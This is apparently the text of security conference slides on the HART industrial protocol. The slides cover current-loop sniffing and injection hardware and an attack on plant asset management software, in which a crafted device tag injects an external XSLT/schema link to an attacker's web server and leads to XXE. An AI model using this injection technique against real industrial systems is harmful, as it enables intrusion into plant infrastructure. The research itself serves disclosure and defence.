HART in Security
HART in Security
HART in Security
; cat /dev/user
dark_k3y
Alexander Bolshev aka @dark_k3y
; cat /dev/user
Weedle
Alexander Malinovskiy aka Weedle
HART devices
RTUs
Transmitters (temperature, pressure, etc)
I/O devices
PLC modules
Gateways
Modems
Communicators
HART Software
SCADA
OPC Servers (OLE for process control)
PAS (Plant Asset management Software)
MES (and even ERP!) integration components.
HART Vendors
PAS
SCADA/OPC
HART
modem
HART
modem
HART
communicator
Current Loop
PLCs
DEMO
HART
Application
Hart commands
Datalink
Physical
Physical layers:
FSK (Copper wiring, 4-20mA current loop):
point-to-point mode (analog/digital)
multidrop mode (digital)
Frequency-shift-scaling (FSK)
RTU
RTUs
+
24V
250Ohm
Source wiring
(change polarity for sink)
External Hardware
RTU
RTUs
+
24V
-
250Ohm
Isolated wiring
External Hardware
+
24V
-
Address
[Expand]
Command
Byte Count
[Data]
Check byte
HART commands
DS8500
AD5700
DS8500
Problems
First try
More problems
AD5700 outputs crap on UART pins
Cant inject packets in loop, because output signal is
too weak.
pyserial incorrectly works with RTS(DTR) serial pin
dark_k3y burned 2 USB-UART and 1 COM-UART
At last, we burned our AD5700 demo board.
Successful prototype
Circuit
PCB
Something different:
Plant Assets management Software
Plant Assets management Software provides tools for
managing plants assets.
There are PAS solutions for managing RTUs and PLCs.
Most popular solutions: FieldCare and PACTWare.
Most of solutions based on FDT/DTM standard.
FDT standardizes the communication and configuration
interface between all field devices and host systems.
The DTM provides a unified structure for accessing
device parameters, configuring and operating the
devices, and diagnosing problems.
DTMs can be also used for OPC && SCADA.
COM Container
Frame Application
DeviceDTM
COM Components
CommDTM
HART
modem
Current Loop
FieldCare screenshot
FDT/DTM internals
Can we use XML for something evil? For example lets try
to use some special symbols as HART device tag.
XSLT injection
Good news: We can inject some XML code.
Bad news: We cant access the beginning of XML
document and we have only 32 bytes.
Good news: Parser supports XSLT, so we can inject
external XSLT link:
" xmlns="x-schema:http://pc
It works!
Finally, XXE
Evil web
server
XXE
Reply with XXE
Internet
3 XML data
PAS
HART trasmitter
Hacker
Current loop
Note 1:
Short domain name isn't a problem
Note 2:
FieldCare itself is NOT vulnerable
'\x41\x01\x00\x00\x00\x02' + '\x0000'
Tools used
Bus pirate
DSO Nano and DSO quad oscilloscopes.
Fluke 115 multimeter
Self-made tools by Weedle
Conclusions
HART isnt so secure as it has been told. Sniffing and
injecting in current loop is possible.
Every skilled electric engineer/hardware hacker can
create HART devices with ease.
Thus, physical security is the ToDo item No.1 when
planning HART infrastructure.
HART-IP protocol needs deep redesign for making it
more secure and reliable.
Links
HART Shield Circuit and PCB (Eagle):
https://github.com/Darkkey/hrtshield
Find and order PCB:
http://oshpark.com/shared_projects/0xswSCbm
Python scripts and sketches for *duino:
https://github.com/Darkkey/hartinsecurity
Thanksgiving service
Alexander Polyakov (sh2kerr) for possibility of making
this research.
Fedor Savelyev and Grigoriy Savelyev for consultations
in amplifiers graduating.
Svetlana Cherkasova for some binary magic.
Konstantin Karpov (QweR) for helping with delivering
HART devices.
Maxim Integrated for great ICs and support.
electronics.stackexchange.com guys for answering
many stupid questions
Richard Bord for background image.
@erpscan
@dark_k3y